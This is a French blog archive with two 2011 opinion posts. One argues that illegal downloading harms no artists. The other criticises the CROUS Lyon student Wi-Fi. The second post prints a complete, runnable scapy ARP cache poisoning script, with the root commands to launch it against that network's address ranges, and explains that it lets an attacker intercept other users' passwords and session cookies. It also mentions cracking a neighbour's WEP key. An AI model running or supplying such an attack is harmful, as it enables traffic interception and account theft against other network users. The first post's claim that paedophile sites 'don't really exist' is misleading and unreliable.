Archives pour décembre, 2011

Le téléchargement illégal : un manque à gagner ?

Je réalise que je n’avais jamais soulevé ce problème récurrent des débats sur le téléchargement illégal.

Ce problème, c’est l’un des fondements de la lutte acharnée du gouvernement et des lobbys. C’est l’hypothèse selon laquelle la réduction du téléchargement illégal entraînera l’augmentation des ventes des marchands de culture.

Cette hypothèse étant supposée totalement vraie, elle justifie la défense virulente de projets de lois tous plus révoltants les uns que les autres.

Mais si on nous avait menti ? Il suffit de se poser la question sérieusement. Va-t-on tuer ces pauvres petits artistes millionnaires que sont Christian Clavier et Thierry Lhermitte ? Je vais surprendre des députés UMP en disant que non. Non, le téléchargement illégal ne rend pas les riches pauvres, ne vous inquiétez pas. Certains l’ont compris, comme Lady Gaga, Radiohead ou même Noir Désir, diffusant leurs titres gratuitement sur Internet.

La gratuité et la disponibilité ne peut que les servir ; ils n’ont pas de soucis à se faire en ce qui concerne la rentabilité de leurs oeuvres car ils la savent assurée.

Ils ont bien de la chance, comparé aux pauvres petits artistes inconnus. Ce seraient donc ceux là, les grandes victimes du téléchargement illégal ?

Ben si c’était le cas, je les plaindrai, car les fichiers surveillés par hadopi (quelques centaines de films et musiques) ne sont pas les leurs, ce sont ceux des millionnaires vus précédemment. Injuste ? Mais qui a dit que Hadopi était juste ?

Non et puis, de toutes façons, c’est pas le cas. Les petits artistes comme ceux là, ce sont ceux que l’on a le plus de chances de connaître personnellement, on en a dans nos connaissances. Qu’est-ce qu’on sait d’eux ? Que leur problématique, c’est de se faire connaître, de diffuser leur musique, exactement ce que permet la mise à disposition gratuite sur Internet.

Alors oui, l’utilisation d’Internet comme outil de communication, de pub, de diffusion, de vente, clairement, ça évince les majors traditionnels (universal & co). Mais certains ont pris le tournant : http://www.mymajorcompany.com (pour la musique et le financement des artistes), ou même http://www.mywittygames.com pour financer la production de.. jeux de sociétés :)http://www.humblebundle.com est intéressant aussi : vous achetez un pack de jeux vidéos à prix libre ( = vous choisissez le prix). Vous décidez, parmi cet argent versé, combien doit être reversé aux développeurs du jeu, et combien à des oeuvres caritatives.

Tant pis pour les industries vieillissantes de la musique et du cinéma si elles n’ont pas su s’adapter, qu’elles meurent. Les gens n’arrêteront pas d’écouter ou de produire de la musique, de tourner et de regarder des films, je ne me fais pas de soucis, surtout quand de plus en plus de gens vont à des concerts et au cinéma.

Conclusion

Et si les politiques se décidaient enfin à voir en Internet une solution et non un problème ? Et s’ils arrêtaient de nous prendre le chou avec ces pauvres artistes sur la paille qu’ils prétendent défendre ? Il faut qu’ils révisent leurs hypothèses et leurs priorités. Dans le même registre, il faut qu’ils arrêtent avec cet autre argument tout pourri, celui des pédophiles qui rôdent soi disant sur le net. Je ne suis jamais tombé sur un site pédophile, et je ne tomberai probablement jamais dessus. Pourquoi ? Parce que, les sites pédophiles, ça n’existe pas vraiment, en fait. Ce rapport l’explique bien.

Le CROUS de Lyon, FAI ou pas ?

Quel est le statut du CROUS de Lyon quand celui-ci vend, pour 6 euros par mois, un code d’accès à son réseau Wi-Fi, donnant ainsi l’accès au réseau Internet ? Fournisseur d’Accès Internet ? J’imagine que non.

Parce que Internet filtré, ce n’est plus Internet. Impossible d’aller, par exemple, sur MegaUpload. Obligé de contourner cela par un proxy.

Ensuite, parce qu’un fournisseur d’accès à Internet doit, j’imagine, préciser le débit, fut-il théorique, qu’il vous vend. Là, rien n’est dit. On peut avoir de bonnes surprises, comme de très mauvaises…

Également, le code d’accès est limité à un appareil. Comment faire quand on a deux ordis ? Ou un smartphone et un ordi ? Ou les trois ? Obligé de chercher des identifiants FreeWifi ? De cracker la clé WEP du voisin ? D’utiliser son téléphone en tant que hotspot ?

Enfin, pour 6 €, vous avez droit à tout ça dans un réseau non protégé. Cela veut dire que, si vous vous êtes honnêtement acquittés de cette somme pour accéder à Facebook, vous n’êtes pas à l’abri de vous faire voler votre session par qui que ce soit.

Exemple : test.py

#! /usr/bin/python

from scapy.all import *
import sys
import time

rang = sys.argv[1]
iprouteur = sys.argv[2]

a = arping(rang, timeout=7)
d = {}
for i in range(len(a[0])) :
	d[a[0][i][1][ARP].psrc] = a[0][i][1][ARP].hwsrc

if d.has_key(iprouteur):
	d.pop(iprouteur)

while (True):
	for a in d:
		paquet_arp = Ether(dst=d[a]) / ARP(psrc=iprouteur, hwdst=d[a], pdst=a)
		sendp(paquet_arp)
	time.sleep(4)
$ sudo su
# echo 1 > /proc/sys/net/ipv4/ip_forward
# ./test.py 10.30.100-101.1-255 10.30.100.3

Ceci est une attaque de arp cache poisonning réalisable même par quelqu’un ne possédant pas de code d’accès, le faisant passer pour le routeur auprès de tous les usagers du réseau. Ainsi, tout le traffic émis par les utilisateurs passe par lui, il peut le consulter avec Wireshark par exemple, et en extraire ce que bon lui semble (mots de passes en clair, cookies pour voler votre session Facebook, Twitter, etc…).
Pas top.

Je pense qu’un code d’accès devrait être donné gratuitement à chaque étudiant, et qu’il devrait offrir un véritable accès à Internet. Quitte à ce qu’une limite de bande passante soit mise en place pour mieux répartir. Et pour sécuriser leur système : un code sous forme de clé WPA2 ?